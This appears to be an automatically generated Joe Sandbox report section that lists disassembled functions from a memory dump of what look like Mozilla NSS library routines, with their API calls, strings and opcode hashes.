Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 8fe851c635683545729a6540e6a8ed936fe8ba3703569f18dc0d6c95a5b55ec7
Instruction ID: d1a206f474a54f0dc9ef8d0a72dbb9df1ce7f6a933f297e26ae50ecef78ac49d
Opcode Fuzzy Hash: 8fe851c635683545729a6540e6a8ed936fe8ba3703569f18dc0d6c95a5b55ec7
Instruction Fuzzy Hash: 3631A1B2A002159BEB508BA99D40F9B77E8AF45758F15C924ED15EBB01F730EC05C7A8

Function 6C69DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C69D9E4,00000000), ref: 6C69DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C69D9E4,00000000), ref: 6C69DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C69D9E4,00000000), ref: 6C69DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C69DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C69DCAD

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: f38bcc07301753288a0017bed4e3dbc83ead03d4a827918d2d6b400c5e30e779
Instruction ID: ac4a915b6bcb9575b9e5fa8ab9d0fe0a1a58f8331b941a0e30a79b4b252b440c
Opcode Fuzzy Hash: f38bcc07301753288a0017bed4e3dbc83ead03d4a827918d2d6b400c5e30e779
Instruction Fuzzy Hash: 06315CB5A00202DFE750CF5DD884B96B7F8AF05358F148479E948CBB01E772E944CBA9

Function 6C662E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C65E728,?,00000038,?,?,00000000), ref: 6C662E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C662E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C662E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C662E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C662E9E
PR_Unlock.NSS3(?), ref: 6C662EAB
PR_Unlock.NSS3(?), ref: 6C662F0D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: fb9640a323127f3f91b2407829186973bf5579b6a206079f821ebdcd94b1cb7a
Instruction ID: 3e5d49608704887a5a29cbf45d58be37074708262c055bab6db8c06f9916428a
Opcode Fuzzy Hash: fb9640a323127f3f91b2407829186973bf5579b6a206079f821ebdcd94b1cb7a
Instruction Fuzzy Hash: CE3105B5A00505ABEF009F29DC848AABB79FF46359B548174EC08C7B21EB31DC65C7E6

Function 6C681EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&hl,6C666295,?,00000000,?,00000001,S&hl,?), ref: 6C681ECB

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&hl,6C666295,?,00000000,?,00000001,S&hl,?), ref: 6C681EF1
EnterCriticalSection.KERNEL32(?), ref: 6C681F01
PR_SetError.NSS3(00000000,00000000), ref: 6C681F39

Part of subcall function 6C68FE20: TlsGetValue.KERNEL32(6C665ADC,?,00000000,00000001,?,?,00000000,?,6C65BA55,?,?), ref: 6C68FE4B
Part of subcall function 6C68FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C68FE5F

PR_Unlock.NSS3(?), ref: 6C681F67

Strings

S&hl, xrefs: 6C681EA0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&hl
API String ID: 704537481-756845022
Opcode ID: 855da18eb7c0989599662a7e6ed24b823bc0a80d6244fcffbcd4ebaad56ed4ed
Instruction ID: be3bacbb7fbafd5aa157715b93a0343e2435e1b6c1333662e9a919b2ac448360
Opcode Fuzzy Hash: 855da18eb7c0989599662a7e6ed24b823bc0a80d6244fcffbcd4ebaad56ed4ed
Instruction Fuzzy Hash: 58212871A06104ABEB009F29EC44E9A37A9EF86368F144165FD2887B11EB30D954C7F9

Function 6C6ACEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6ACD93,?), ref: 6C6ACEEE

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6ACD93,?), ref: 6C6ACEFC

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6ACD93,?), ref: 6C6ACF0B

Part of subcall function 6C6A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6ACD93,?), ref: 6C6ACF1D

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6ACD93,?), ref: 6C6ACF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6ACD93,?), ref: 6C6ACF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6ACD93,?,?,?,?,?,?,?,?,?,?,?,6C6ACD93,?), ref: 6C6ACF78

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: e40269497445565c2e889eedd700ffab6c87b6f75f8b9824c25f5cd87f97302b
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 4611D5A5A00205ABEB00ABE66C41B6BB5EC9F4924DF044039EC0AD7741FB61DD0986BA

Function 6C658C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C658C1B
EnterCriticalSection.KERNEL32 ref: 6C658C34
PL_ArenaAllocate.NSS3 ref: 6C658C65
PR_Unlock.NSS3 ref: 6C658C9C
PR_Unlock.NSS3 ref: 6C658CB6

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

Strings

KRAM, xrefs: 6C658C8F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c4c4e2c7382c73b00e138ae6d7bb3c8ce357a73236845575e63f43c93890dbad
Instruction ID: c5d47d31f77a9da21aee573c48a34f2c0de83b114ccad0bf60ed3d4ff4d18ade
Opcode Fuzzy Hash: c4c4e2c7382c73b00e138ae6d7bb3c8ce357a73236845575e63f43c93890dbad
Instruction Fuzzy Hash: 6821E5B16156008FD700AF78C484559FBF0FF0A308F55896ED888CBB11DB30D89ACB99

Function 6C668E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C682E62,?,?,?,?,?,?,?,00000000,?,?,?,6C654F1C), ref: 6C668EA2

Part of subcall function 6C68F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C68F854
Part of subcall function 6C68F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C68F868
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C68F882
Part of subcall function 6C68F820: free.MOZGLUE(04C483FF,?,?), ref: 6C68F889
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C68F8A4
Part of subcall function 6C68F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C68F8AB
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C68F8C9
Part of subcall function 6C68F820: free.MOZGLUE(280F10EC,?,?), ref: 6C68F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C682E62,?,?,?,?,?,?,?,00000000,?,?,?,6C654F1C), ref: 6C668EC3
TlsGetValue.KERNEL32(?,?,?,6C682E62,?,?,?,?,?,?,?,00000000,?,?,?,6C654F1C), ref: 6C668EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C682E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C668EF1
PR_Unlock.NSS3 ref: 6C668F20

Strings

b.hl, xrefs: 6C668E96, 6C668F25

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.hl
API String ID: 1978757487-1805141922
Opcode ID: 9f02f119435fdbb7827fd49af661448d5fe8bbb4de48d0d01a508a20ebc155c7
Instruction ID: 6989603ba93910e7a37bb4260b98d0b9c6e7bcfc7195ef808c87671d3cdb74c1
Opcode Fuzzy Hash: 9f02f119435fdbb7827fd49af661448d5fe8bbb4de48d0d01a508a20ebc155c7
Instruction Fuzzy Hash: E5216870A097059BDB00AF3AD184199BBF0FF4A358F41456EE8989BB51DB30E854CBDA

Function 6C6D3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6D5B56

PR_EnterMonitor.NSS3(?), ref: 6C6D3E45

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

PR_EnterMonitor.NSS3(?), ref: 6C6D3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6D3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6D3EA6

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6D3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6D3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6D3EEE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 61a0293850a5cb51159f88ac39b0f961adc53558b259caee8aba072b746412c5
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 2F11DAB1610601AFDB319E29FC06BC7B7B1DB5130CF010835E65A97A60E732F82AC75A

Function 6C752C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C752CA0
PR_ExitMonitor.NSS3 ref: 6C752CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C752CD1
strdup.MOZGLUE(?), ref: 6C752CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C752D27

Strings

Loaded library %s (static lib), xrefs: 6C752D22

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: df5040273be8db7541823167daa7ea0f119deb86497888305f2ee1457bfef84a
Instruction ID: a8f1e73e1e5d8d54efba5df906235aef2414cec0c02c655ff0d396a96201f5f7
Opcode Fuzzy Hash: df5040273be8db7541823167daa7ea0f119deb86497888305f2ee1457bfef84a
Instruction Fuzzy Hash: 6811E2B1701210DFEB008F55E949A6A77B4EB4635DF94803DD809C7B51EF31E818CBA1

Function 6C64BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C64BDCA

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C64BDDB

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C64BDEC

Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C64BE03

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64BE3B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: bfff5a5e91e41aae6c467454c29248b810d46c84600c07f75331603a8c636430
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 1301DB69A4561176F71016A6BC01F9F79484FD23CDF148031FF059AB82FB51E91B82BE

Function 6C6A0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B
TlsGetValue.KERNEL32(00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1044
free.MOZGLUE(00000000,?,00000800,6C63EF74,00000000), ref: 6C6A1064

Strings

security, xrefs: 6C6A1025

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 5e7d8c360fe3ef703217c00113dfabda8d75467127bb2326fbddb951a35594ad
Instruction ID: a03e7e89b2ab547f34aabb25dc4432fe51d9f644812989a84f9199e4142736a9
Opcode Fuzzy Hash: 5e7d8c360fe3ef703217c00113dfabda8d75467127bb2326fbddb951a35594ad
Instruction Fuzzy Hash: FA014830A00250DBEB202FBE9C08A867A78FF03799F010125E808D7A51EF60C947DBDD

Function 6C6D1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6D1C74

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6D1C92
free.MOZGLUE(?), ref: 6C6D1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6D1CCB
free.MOZGLUE(?), ref: 6C6D1CD2

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 0d76da151eabcd36146ecf722a49cc05b462c1a6b1060c5ab94dd1f070d9ae3a
Instruction ID: 649dddf822b5e4a21c32da24fbef50501557654b0fdf3d05ca6bc9116a2ff908
Opcode Fuzzy Hash: 0d76da151eabcd36146ecf722a49cc05b462c1a6b1060c5ab94dd1f070d9ae3a
Instruction Fuzzy Hash: 050196B1F052105FDF10AFE5BD0DB4D7BB4A70B319F510135E90EA6A40D775A1054799

Function 6C6E2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6E3046

Part of subcall function 6C6CEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6CEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6B7FFB), ref: 6C6E312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6E3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E2E8B

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

Part of subcall function 6C6CF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6B9BFF,?,00000000,00000000), ref: 6C6CF134

